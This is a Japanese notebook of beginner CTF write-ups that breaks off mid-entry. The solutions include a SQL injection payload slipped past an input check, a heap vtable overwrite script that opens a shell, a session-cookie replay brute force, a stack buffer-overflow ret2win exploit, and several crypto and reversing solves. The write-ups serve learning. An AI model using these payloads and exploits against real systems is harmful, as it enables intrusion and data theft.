CTFメモ

初心者向けの warmup 問題を解けるようにしていく。

CakeCTF 2023 Country DB
問題:https://2023.cakectf.com/tasks/3071001493/
国コードから国名を検索してくれるウェブサービス。
ソースコードが配布されているので見てみましょう。init_db.py では DB にデータを投入しています。
country
テーブルは国名検索のためのテーブルでしょう。お隣の flag
テーブル flag
カラムにフラグを入れていますのでをこれを取り出せば正解を得られます。SQL インジェクションを成立させるのでしょうか?
init_db.py
import sqlite3
import os
FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}")
conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE country (
code TEXT NOT NULL,
name TEXT NOT NULL
);""")
conn.execute("""CREATE TABLE flag (
flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))
# Country list from https://gist.github.com/vxnick/380904
countries = [
('AF', 'Afghanistan'),
('AX', 'Aland Islands'),
# ...
('ZW', 'Zimbabwe'),
]
conn.executemany("INSERT INTO country VALUES (?, ?)", countries)
conn.commit()
conn.close()
※ 配布されたソースコード内ではフラグはダミーの値であることに注意しましょう
クライアント側のコードを見ていきます。/api/search というエンドポイントにリクエストをしているようです。body には {"code": "CA"}
こういうデータを詰めているのですね。
templates/index.html
// ...
function queryCountryCode() {
let code = document.getElementById("code").value;
fetch('/api/search', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({code})
}).then(response => {
if (response.status !== 200) {
setText("Country code is not found");
throw new Error(response.statusText);
} else {
return response.json();
}
}).then(data => {
setText(getFlagEmoji(code) + " " + data.name);
}).catch(err => {})
}
サーバー側のコードを見ていきます。Flask はよく知りませんが api_search()
がリクエストを受けてくれるのでしょう。
おっと、db_search()
ではプレースホルダーを使わずに f-strings でクエリを組み立てています。SQL インジェクションの気配がしてきます。たとえば code
にシングルクォート '
を含めて SELECT name FROM country WHERE code=UPPER('XXX') AND FALSE UNION SELECT 123
のようなクエリを実行させられるとうれしいです。
app.py
# ...
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
found = cur.fetchone()
return None if found is None else found[0]
@app.route('/api/search', methods=['POST'])
def api_search():
req = flask.request.get_json()
if 'code' not in req:
flask.abort(400, "Empty country code")
code = req['code']
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
name = db_search(code)
if name is None:
flask.abort(404, "No such country")
return {'name': name}
しかし db_search()
の前段にこういうガードが入っているので少し迂回する必要がありそうです。
if len(code) != 2 or "'" in code:
flask.abort(400, "Invalid country code")
code
は文字列かのように読んでいましたが Python の len()
関数には、文字列以外にもリストや dict も渡せます。タプルや set でもよいのですが JSON にはタプルや set が存在しないので考えなくてよいでしょう。
とりあえず code
をリスト型だとしましょう。条件 len(code) != 2
は要素をふたつ持つリストにすればすり抜けられます。また "'" in code
は
-
code = ["'", "xyz"]
のとき True - ですが
code = ["ab ' c", "xyz"]
では False
になります。
そして、リスト型の code = ["ab ' c", "xyz"]
を文字列にするとこうなります。
code = ["ab ' c", "xyz"]
print(f"code='{code}'")
# -> code='["ab ' c", 'xyz']'
シングルクォート '
とダブルクォート "
がややこしいですが、最終的に実行させたいクエリは flag
テーブルを SELECT する、こういう形であることを思い出しましょう。
SELECT name FROM country WHERE code=UPPER('▲▲▲') AND FALSE UNION SELECT flag FROM flag -- ◆◆◆
たとえばブラウザのコンソールから次のようなリクエストを送って、フラグを得ることができます。
code = ["abc') AND FALSE UNION SELECT flag FROM flag --", "xyz"]
await fetch('/api/search', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({code})
}).then(resp => resp.json());
// -> {name: 'CakeCTF{...}'}
感想
直前に解いた、TSG CTF 2023 Upside-down cake と似てるなーと思いました。

CakeCTF 2023 vtable4b
問題:https://2023.cakectf.com/tasks/1918350021/
指示されたとおりに nc vtable4b.2023.cakectf.com 9000
を打つと次のように表示されました。学習用の問題でしょうか。vtable とは何者なのか分かりませんが見ていきましょう。
Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:
class Cowsay {
public:
Cowsay(char *message) : message_(message) {}
char*& message() { return message_; }
virtual void dialogue();
private:
char *message_;
};
An instance of this class is allocated in the heap:
Cowsay *cowsay = new Cowsay(new char[0x18]());
You can
1. Call `dialogue` method:
cowsay->dialogue();
2. Set `message`:
std::cin >> cowsay->message();
Last but not least, here is the address of `win` function which you should call to get the flag:
<win> = 0x565390dbb61a
1. Use cowsay
2. Change message
3. Display heap
>
「2. Change message」を実行して "hello_world" と送ってみます。続けて「1. Use cowsay」とすると牛のアスキーアートが表れました。
1. Use cowsay
[+] You're trying to use vtable at 0x565390dbece8
_______________________
< hello_world >
-----------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
「3. Display heap」は現在のヒープの状態を描いてくれるようです。なんて親切なのでしょう。
3. Display heap
[ address ] [ heap data ]
+------------------+
0x565391972ea0 | 0000000000000000 |
+------------------+
0x565391972ea8 | 0000000000000021 |
+------------------+
0x565391972eb0 | 6f775f6f6c6c6568 | <-- message (= 'hello_world')
+------------------+
0x565391972eb8 | 0000000000646c72 |
+------------------+
0x565391972ec0 | 0000000000000000 |
+------------------+
0x565391972ec8 | 0000000000000021 |
+------------------+
0x565391972ed0 | 0000565390dbece8 | ---------------> vtable for Cowsay
+------------------+ +------------------+
0x565391972ed8 | 0000565391972eb0 | 0x565390dbece8 | 0000565390dbb6e2 |
+------------------+ +------------------+
0x565391972ee0 | 0000000000000000 | --> Cowsay::dialogue
+------------------+
0x565391972ee8 | 000000000000f121 |
+------------------+
どうやら、この問題は「2. Change message」から変なメッセージを入れて、Cowsay::dialogue
の呼び出しを 0x565390dbb61a
にある win
関数の呼び出しにすり替えてあげるとよいみたいですね。
色々試してみると message
に長さの制限は実質なくて、message
の先頭アドレス 0x565391972eb0
以降を好きにいじれることが分かります。あとで使えそうなので覚えておきます。
ヒープの表を見たところ、4バイト先の 0x565391972ed0
に Cowsay
の vtable アドレス 0000565390dbece8
が入っていて、その先に Cowsay::dialogue
のアドレス 0000565390dbb6e2
があるようです。関係図を描いてみました。
矢印の辿りつく先を win
にできればよいわけです。たとえば message
のあったアドレスを vtable の場所と偽ってそこに win
のアドレスを書き込んであげましょう。
解答例です。最終的にシェルを取れて、ルートディレクトリにあるフラグのファイルを見られます。
# python 3.11
import pwn
def reverse_(s):
assert len(s) == 14
b = b""
for i in range(len(s), 2, -2):
b += int(s[i - 2 : i], 16).to_bytes()
return b
assert reverse_(b"0x121314151617") == b"\x17\x16\x15\x14\x13\x12"
conn = pwn.remote(host="vtable4b.2023.cakectf.com", port=9000)
# 冒頭は読み飛ばす
conn.recvuntil(b"<win> = ")
win_function_address = conn.recvline().rstrip()
conn.recvuntil(b"1. Use cowsay\n")
conn.recvuntil(b"2. Change message\n")
conn.recvuntil(b"3. Display heap\n")
conn.recvuntil(b"> ")
conn.sendline(b"3")
v_table_address = conn.recvuntil(
b" | 0000000000000000 | <-- message (= '')\n", drop=True
).splitlines()[-1]
conn.recvuntil(b"1. Use cowsay\n")
conn.recvuntil(b"2. Change message\n")
conn.recvuntil(b"3. Display heap\n")
conn.recvuntil(b"> ")
conn.sendline(b"2")
conn.recvuntil(b"Message: ")
conn.send(reverse_(win_function_address) + b"\x00\x00")
conn.send(b"D" * 8) # 適当なデータで埋める
conn.send(b"D" * 8)
conn.send(b"D" * 8)
conn.send(reverse_(v_table_address) + b"\x00\x00")
conn.sendline()
conn.interactive()
# 1. Use cowsay を使うと win 関数が呼ばれてシェルをとれる

CakeCTF 2023 TOWFL
問題:https://2023.cakectf.com/tasks/1431868103/
4択を10問×10セットすべて正解するとフラグが手に入るウェブサービスです。
エンドポイント /api/score を叩くと正解数を教えてくれるので、1問ずつ正解数を増やすことを考えましょう。しかし、/api/score では flask.session.clear()
を実行するようになっており、一度正解数を知るとはじめからやり直しで「正解」の選択肢はリセットされてしまいます。
api_score
# ...
@app.route("/api/score", methods=['GET'])
def api_score():
if 'eid' not in flask.session:
return {'status': 'error', 'reason': 'Exam has not started yet.'}
# Calculate score
challs = json.loads(db().get(flask.session['eid']))
score = 0
for chall in challs:
for result in chall['results']:
if result is True:
score += 1
# Is he/she worth giving the flag?
if score == 100:
flag = os.getenv("FLAG")
else:
flag = "Get perfect score for flag"
# Prevent reply attack
flask.session.clear()
return {'status': 'ok', 'data': {'score': score, 'flag': flag}}
どのエンドポイントでも flask.session
をしつこくチェックしているのが目につきます。「Flask セッション」などで検索してみます。どうやら Flask では「session」という名前のクッキーにデータを保存しているようです。
実際にブラウザの開発者ツールを覗くとクッキーの値 .abcdef.ijklmn.uvwxyz
が分かります。/api/score を叩いたあとにこの値を「session」クッキーに戻してあげると、何度でも正解数を得られます。
回答を送信して正解数を知る一連の手順は配布された JavaScript コードを真似しましょう。/api/submit → /api/score の順にリクエストを送ることになっています。
submitAnswers
// ...
/* Submit answers and get the score */
async function submitAnswers() {
// Submit answers
let res = await fetch('/api/submit', {
method: 'POST', credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(submission)
});
if (!res.ok) { alert("Server error"); return; }
let json = await res.json();
if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; }
// Get score
res = await fetch('/api/score', {
method: 'GET', credentials: 'include',
});
if (!res.ok) { alert("Server error"); return; }
json = await res.json();
if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; }
// Display score
document.getElementById('exam').hidden = true;
document.getElementById('score-value').innerText = `${json.data.score}`;
document.getElementById('flag').innerText = json.data.flag;
document.getElementById('score').hidden = false;
}
解答例です。1秒のスリープを入れたとしても最大400秒ほど待つとフラグを得られます。
const flask_session = ".abcdef.ijklmn.uvwxyz";
submission = [];
for (let i = 0; i < 10; i++) {
submission[i] = [];
for (let j = 0; j < 10; j++) {
submission[i][j] = null;
}
}
for (let i = 0; i < 10; i++) {
for (let j = 0; j < 10; j++) {
const current_score = i * 10 + j;
for (let k = 0; k < 4; k++) {
submission[i][j] = k;
await fetch("/api/submit", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(submission),
});
const score = await fetch("/api/score", {
method: "GET",
credentials: "include",
}).then((resp) =>
resp.json()
).then((json) =>
json.data.score
);
console.log(`i = ${i}, j = ${j}, k = ${k}, score = ${score}`);
await new Promise((resolve) => setTimeout(resolve, 1000));
document.cookie = `session=${flask_session}`;
if (score == current_score + 1) {
break;
}
}
}
}
const flag = await fetch("/api/score", { method: "GET", credentials: "include" }).then((resp) => resp.json()).then((json) => json.data.flag);

CakeCTF 2023 simple signature
問題:https://2023.cakectf.com/tasks/906792207/
配布されたコードを読むと
g = 2 m, w, v - 素数
p
が与えられたときに
server.py
import os
import sys
from hashlib import sha512
from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD
import signal
flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}")
p = getStrongPrime(512)
g = 2
def keygen():
while True:
x = getRandomRange(2, p - 1)
y = getRandomRange(2, p - 1)
w = getRandomRange(2, p - 1)
v = w * y % (p - 1)
if GCD(v, p - 1) != 1:
continue
u = (w * x - 1) * inverse(v, p - 1) % (p - 1)
return (x, y, u), (w, v)
def sign(m, key):
x, y, u = key
r = getRandomRange(2, p - 1)
return pow(g, x * m + r * y, p), pow(g, u * m + r, p)
def verify(m, sig, key):
w, v = key
s, t = sig
return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p
def h(m):
return int(sha512(m.encode()).hexdigest(), 16)
if __name__ == "__main__":
magic_word = "cake_does_not_eat_cat"
skey, vkey = keygen()
print(f"p = {p}")
print(f"g = {g}")
print(f"vkey = {vkey}")
signal.alarm(1000)
while True:
choice = input("[S]ign, [V]erify: ").strip()
if choice == "S":
message = input("message: ").strip()
assert message != magic_word
sig = sign(h(message), skey)
print(f"(s, t) = {sig}")
elif choice == "V":
message = input("message: ").strip()
s = int(input("s: ").strip())
t = int(input("t: ").strip())
assert 2 <= s < p
assert 2 <= t < p
if not verify(h(message), (s, t), vkey):
print("invalid signature")
continue
print("verified")
if message == magic_word:
print(f"flag = {flag}")
sys.exit(0)
else:
break
なんでもよいと思うのですが底を揃えて
s = g^{\clubsuit} t = g^{\spadesuit}
の形で考えてみましょう。とくに
このとき
指数の
解答例です。
import pwn
from hashlib import sha512
from Crypto.Util.number import inverse
# server.py からコピー
def h(m):
return int(sha512(m.encode()).hexdigest(), 16)
magic_word = "cake_does_not_eat_cat"
s = pow(g, (h(magic_word) + v) * inverse(w, p - 1), p)
t = g
conn.recvuntil(b"[S]ign, [V]erify: ")
conn.sendline(b"V")
conn.recvuntil(b"message: ")
conn.sendline(magic_word.encode())
conn.recvuntil(b"s: ")
conn.sendline(str(s).encode())
conn.recvuntil(b"t: ")
conn.sendline(str(t).encode())
conn.recvuntil(b"verified\n")
flag = conn.recvline()
print(flag)

Flatt Security Developers' Quiz #7
問題:https://twitter.com/flatt_security/status/1757721356811096510
ユーザーの銀行口座残高を管理するWebサービス。ユーザー間で送金ができる。
ユーザー登録 /register
では残高を 10 で初期化しています。
残高照会 /user/:userId
をして残高が 5000000000000000 を超えていればフラグを得られるようです。
index.js
app.post('/register', (req) => {
const id = randomBytes(10).toString('hex') + '-' + req.body.username;
return users[id] = { id, balance: 10 };
});
app.get('/user/:userId', (req, res) => {
const user = users[req.params.userId];
if (!user) return res.code(404).send({ error: 'User not found' });
if (user.balance > FIVE_THOUSAND_CHOU_YEN) user.secret = FLAG;
return user;
});
app.post('/transfer', (req, res) => {
const { fromID, toID } = req.body;
if (fromID.length < 21 || toID.length < 21)
return res.code(400).send({ error: 'Invalid request' });
const from = users[fromID];
const to = users[toID];
const amount = parseInt(req.body.amount);
if (!(from && to && 0 < amount && amount <= from.balance))
return res.code(400).send({ error: 'Invalid request' });
to.balance += amount;
const toName = toID.split('-')[1];
from.balance -= amount;
const fromName = fromID.split('-')[1];
return {
receipt: `${fromName} -> ${toName} (${amount})`
};
});
送金 /transfer
の処理でなにか悪いことをできないか考えましょう。
(★) to.balance += amount;
のみ実行されて from.balance -= amount;
が実行されないとうれしいです。自身に送金することで残高が 2 倍になるからです。初期値 10 から始めても 50 回程度くり返せば 5000000000000000 を超えられます。
to.balance += amount;
const toName = toID.split('-')[1];
from.balance -= amount;
const fromName = fromID.split('-')[1];
コードの中で fromID
, toID
は文字列を期待していますが、とくに型の検証などはしていないので、JSON で表せる配列も入れられます。
users[fromID]
や users[toID]
の部分ではおそらく Array.toString()
が呼ばれるのでしょう。配列 ['a', 'b', 'c']
に toString()
をするとカンマ区切りで a,b,c
になりました。
ユーザー登録 /register
でユーザー ID は const id = randomBytes(10).toString('hex') + '-' + req.body.username;
と作っているので、username
をカンマ区切りにすると色々うまくいくことが分かります。/transfer
における if (fromID.length < 21 || toID.length < 21)
のガードをすり抜けるためにカンマを 20 以上含めるようにしましょう。
const { fromID, toID } = req.body;
if (fromID.length < 21 || toID.length < 21)
return res.code(400).send({ error: 'Invalid request' });
const from = users[fromID];
const to = users[toID];
いま、toID
は (文字列ではなく) 配列なので、残高を増やした直後の const toName = toID.split('-')[1];
の時点で「toID.split is not a function」のエラーが出ます。これで最初の目的 (★) を達成できます。
解答例です。
const username = "a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u";
const id = await fetch(
"/register",
{
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ username }),
},
).then((resp) => resp.json()).then((data) => data.id);
// id = [random]-a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u
const fromID = id.split(",");
for (let i = 0; i < 50; i++) {
// sleep
await new Promise((resolve) => setTimeout(resolve, 1000));
console.log("i:", i);
const amount = Math.pow(2, i) * 10;
const data = await fetch(
"/transfer",
{
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ fromID, toID: fromID, amount })
}
).then(resp => resp.json());
console.log({
statusCode: data.statusCode, // 500
message: data.message, // 'toID.split is not a function'
});
}
const data = await fetch(
`/user/${id}`,
{
method: "GET"
}
).then((resp) => resp.json());
console.log(data); // { balance: 11258999068426240, secret: '...' }

SECCON Beginners CTF 2024 Safe Prime
RSA 暗号での p, q を
- p: ランダム
- q = 2 * p + 1
と選んでいる。
chall.py
import os
from Crypto.Util.number import getPrime, isPrime
FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')
while True:
p = getPrime(512)
q = 2 * p + 1
if isPrime(q):
break
n = p * q
e = 65537
c = pow(m, e, n)
print(f"{n = }")
print(f"{c = }")
n = p * q = p * (2 * p + 1) で n は与えられているので p の2次方程式。SageMath に投げると解ける。
p = var('p')
solve([p * (p * 2 + 1) == 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291], p)
p, q が分かったので平文 m を復号できる。
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537
p = 12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393
q = p * 2 + 1
assert p * q == n
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(m.to_bytes(61, 'big'))

SECCON Beginners CTF 2024 cha-ll-enge
LLVM の IR っぽいコード
cha.ll.enge
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
@.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1
; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [70 x i8], align 16
%3 = alloca [50 x i32], align 16
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i64, align 8
store i32 0, i32* %1, align 4
%7 = bitcast [50 x i32]* %3 to i8*
call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false)
%8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0))
%9 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
%10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9)
%11 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
%12 = call i64 @strlen(i8* noundef %11) #4
%13 = icmp eq i64 %12, 49
br i1 %13, label %14, label %48
14: ; preds = %0
store i32 0, i32* %4, align 4
store i32 0, i32* %5, align 4
store i64 0, i64* %6, align 8
br label %15
15: ; preds = %38, %14
%16 = load i64, i64* %6, align 8
%17 = icmp ult i64 %16, 49
br i1 %17, label %18, label %41
18: ; preds = %15
%19 = load i64, i64* %6, align 8
%20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19
%21 = load i8, i8* %20, align 1
%22 = sext i8 %21 to i32
%23 = load i64, i64* %6, align 8
%24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23
%25 = load i32, i32* %24, align 4
%26 = xor i32 %22, %25
%27 = load i64, i64* %6, align 8
%28 = add i64 %27, 1
%29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28
%30 = load i32, i32* %29, align 4
%31 = xor i32 %26, %30
store i32 %31, i32* %5, align 4
%32 = load i32, i32* %5, align 4
%33 = icmp eq i32 %32, 0
br i1 %33, label %34, label %37
34: ; preds = %18
%35 = load i32, i32* %4, align 4
%36 = add nsw i32 %35, 1
store i32 %36, i32* %4, align 4
br label %37
37: ; preds = %34, %18
br label %38
38: ; preds = %37
%39 = load i64, i64* %6, align 8
%40 = add i64 %39, 1
store i64 %40, i64* %6, align 8
br label %15, !llvm.loop !6
41: ; preds = %15
%42 = load i32, i32* %4, align 4
%43 = icmp eq i32 %42, 49
br i1 %43, label %44, label %47
44: ; preds = %41
%45 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
%46 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([22 x i8], [22 x i8]* @.str.2, i64 0, i64 0), i8* noundef %45)
store i32 0, i32* %1, align 4
br label %50
47: ; preds = %41
br label %48
48: ; preds = %47, %0
%49 = call i32 @puts(i8* noundef getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0))
store i32 1, i32* %1, align 4
br label %50
50: ; preds = %48, %44
%51 = load i32, i32* %1, align 4
ret i32 %51
}
https://llvm.org/docs/LangRef.html をもとに読むと、入力した文字列がフラグと一致するかを判定するプログラムと分かる。
このあたり
%26 = xor i32 %22, %25
%31 = xor i32 %26, %30
%33 = icmp eq i32 %32, 0
から、一行目の配列 key
の隣接項の xor key[i] ^ key[i + 1]
がフラグになると予想して、実際に正解を得られた。
key = "[i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7]"
key = eval(key.replace("i32", ""))
for i in range(len(key) - 1):
print(chr(key[i] ^ key[i + 1]), end="")

SECCON Beginners CTF 2024 getRank
score を送信して 10^255 以上だったらフラグを得られる。
ただし
- score の長さ ≦ 300
- score > 10^255 だと score ÷ 10^100 に減らされる
main.ts
import fastify, { FastifyRequest } from "fastify";
import fs from "fs";
const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];
type Res = {
rank: number;
message: string;
};
function ranking(score: number): Res {
const getRank = (score: number) => {
const rank = RANKING.findIndex((r) => score > r);
return rank === -1 ? RANKING.length + 1 : rank + 1;
};
const rank = getRank(score);
if (rank === 1) {
return {
rank,
message: process.env.FLAG || "fake{fake_flag}",
};
} else {
return {
rank,
message: `You got rank ${rank}!`,
};
}
}
function chall(input: string): Res {
if (input.length > 300) {
return {
rank: -1,
message: "Input too long",
};
}
let score = parseInt(input);
if (isNaN(score)) {
return {
rank: -1,
message: "Invalid score",
};
}
if (score > 10 ** 255) {
// hmm...your score is too big?
// you need a handicap!
for (let i = 0; i < 100; i++) {
score = Math.floor(score / 10);
}
}
return ranking(score);
}
const server = fastify();
server.get("/", (_, res) => {
res.type("text/html").send(fs.readFileSync("public/index.html"));
});
server.post(
"/",
async (req: FastifyRequest<{ Body: { input: string } }>, res) => {
const { input } = req.body;
const result = chall(input);
res.type("application/json").send(result);
}
);
server.listen(
{ host: "0.0.0.0", port: Number(process.env.PORT ?? 3000) },
(err, address) => {
if (err) {
console.error(err);
process.exit(1);
}
console.log(`Server listening at ${address}`);
}
);
parseInt(score)
の結果が 10^355 以上になればいい。
10進数より16進数のほうが少ない桁数で大きい数を表わせる。score として 0xFFF...F (300文字) を送ると十分だった。
score = "0x" + "F".repeat(298)
await fetch("/", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ input: `${score}` }),
})
.then(resp => resp.json());

RTACTF 2023 XOR-CBC
chall.py
import os
import struct
FLAG = os.getenv("FLAG", "RTACTF{*** REDACTED ***}").encode()
assert FLAG.startswith(b"RTACTF{") and FLAG.endswith(b"}")
KEY_SIZE = 8
KEY = os.urandom(KEY_SIZE)
p64 = lambda x: struct.pack('<Q', x)
u64 = lambda x: struct.unpack('<Q', x)[0]
"""
XOR-CBC Explained:
plain 0 plain 1 plain 2
| | |
v v v
IV --> XOR +------> XOR +------> XOR
| | | | |
v | v | v
key -> XOR | key -> XOR | key -> XOR
| | | | |
+---+ +---+ |
| | |
v v v
[IV] [cipher 0] [cipher 1] [cipher 2]
"""
def encrypt(plaintext, key):
padlen = KEY_SIZE - (len(plaintext) % KEY_SIZE)
plaintext += bytes([padlen] * padlen)
iv = os.urandom(KEY_SIZE)
ciphertext = iv
for i in range(0, len(plaintext), KEY_SIZE):
p_block = plaintext[i:i+KEY_SIZE]
c_block = p64(u64(iv) ^ u64(p_block) ^ u64(key))
ciphertext += c_block
iv = c_block
return ciphertext
def decrypt(ciphertext, key):
iv, ciphertext = ciphertext[:KEY_SIZE], ciphertext[KEY_SIZE:]
plaintext = b''
for i in range(0, len(ciphertext), KEY_SIZE):
c_block = ciphertext[i:i+KEY_SIZE]
p_block = p64(u64(iv) ^ u64(c_block) ^ u64(key))
plaintext += p_block
iv = c_block
return plaintext.rstrip(plaintext[-1:])
if __name__ == '__main__':
ENC_FLAG = encrypt(FLAG, KEY)
print("Encrypted:", ENC_FLAG.hex())
assert decrypt(ENC_FLAG, KEY) == FLAG
平文を 8 バイトごとに区切って、次の 3 つの xor で暗号化している。
- 平文 (の8バイト)
- 初期化ベクトル IV
- ループごとに更新
- 鍵
- 固定
鍵 = 暗号文 xor IV xor 平文 が成り立つので右辺の 3 項を求めよう。暗号文と IV はすぐ分かる。
- 暗号文
- output.txt に書いてある
- IV
- 暗号文の先頭 8 バイトがそのまま IV
平文の先頭 7 バイトは RTACTF{
なので、8 バイトの鍵のうち先頭 7 バイトが決まる。最後の 1 バイトは 0 〜 255 を全通り試す。鍵が得られたので平文の全体を復号できる。
import struct
p64 = lambda x: struct.pack("<Q", x)
u64 = lambda x: struct.unpack("<Q", x)[0]
KEY_SIZE = 8
def decrypt(ciphertext, key):
iv, ciphertext = ciphertext[:KEY_SIZE], ciphertext[KEY_SIZE:]
plaintext = b""
for i in range(0, len(ciphertext), KEY_SIZE):
c_block = ciphertext[i : i + KEY_SIZE]
p_block = p64(u64(iv) ^ u64(c_block) ^ u64(key))
plaintext += p_block
iv = c_block
return plaintext.rstrip(plaintext[-1:])
enc_flag = bytes.fromhex(
"6528337d61658047295cef0310f933eb681e424b524bcc294261bd471ca25bcd6f3217494b1ca7290c158d7369c168b3"
)
iv, cipher_text = enc_flag[:KEY_SIZE], enc_flag[KEY_SIZE:]
p_block = b"RTACTF{" + b"?"
c_block = cipher_text[:KEY_SIZE]
# c_block = p64(u64(iv) ^ u64(p_block) ^ u64(key))
key = p64(u64(iv) ^ u64(c_block) ^ u64(p_block))
for x in range(256):
x = x.to_bytes(1)
key = key[: KEY_SIZE - 1] + x
dec_flag = decrypt(enc_flag, key)
print(f"{x=}, {dec_flag=}")

RTACTF 2023 before-write
main.c
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void win(void) {
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
}
ssize_t getval(const char *msg) {
char buf[0x20] = {};
write(STDOUT_FILENO, msg, strlen(msg));
read(STDIN_FILENO, buf, sizeof(buf)*0x20);
return atoll(buf);
}
int main() {
return getval("value: ");
}
sizeof(buf) = sizeof(char) * 0x20 = 0x20
なので、buf の長さを超えた入力を与えてバッファオーバーフローさせる。リターンアドレスを書き変えて getval
実行後の戻り先を (main
ではなく) win
にするとよさそう。
プログラムに 'abcdef' を入力したときのスタックの状態を見よう。0x7fffffffdaf0
から buf が始まり、0x7fffffffdb1f
からの 8 バイトがリターンアドレスっぽい。
$ gdb -q ./chall
(gdb) info functions
...
0x00000000004011b6 win
0x00000000004011f0 getval
0x0000000000401264 main
...
(gdb) x/28i getval
...
0x401251 <getval+97>: call 0x4010a0 <read@plt>
0x401256 <getval+102>: lea -0x20(%rbp),%rax
0x40125a <getval+106>: mov %rax,%rdi
=> 0x40125d <getval+109>: call 0x4010c0 <atoll@plt>
...
(gdb) break *(getval+109)
(gdb) run < <(echo -n 'abcdef')
(gdb) x/20xw $sp
0x7fffffffdae0: 0xf7fc1000 0x00007fff 0x0040200c 0x00000000
0x7fffffffdaf0: 0x64636261 0x00006665 0x00000000 0x00000000
0x7fffffffdb00: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdb10: 0xffffdb20 0x00007fff 0x0040127b 0x00000000
0x7fffffffdb20: 0x00000001 0x00000000 0xf7db6d90 0x00007fff
解答例
import pwn
conn = pwn.remote("34.170.146.252", 49927)
# conn = pwn.process(./chall")
win_addr = 0x004011B6
conn.sendlineafter(b"value: ", b"\x00" * 0x28 + pwn.p64(win_addr))
conn.interactive()

RTACTF 2023 Collision-DES
server.py
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
import os
FLAG = os.getenv("FLAG", "RTACTF{**** REDACTED ****}")
def encrypt(key, plaintext):
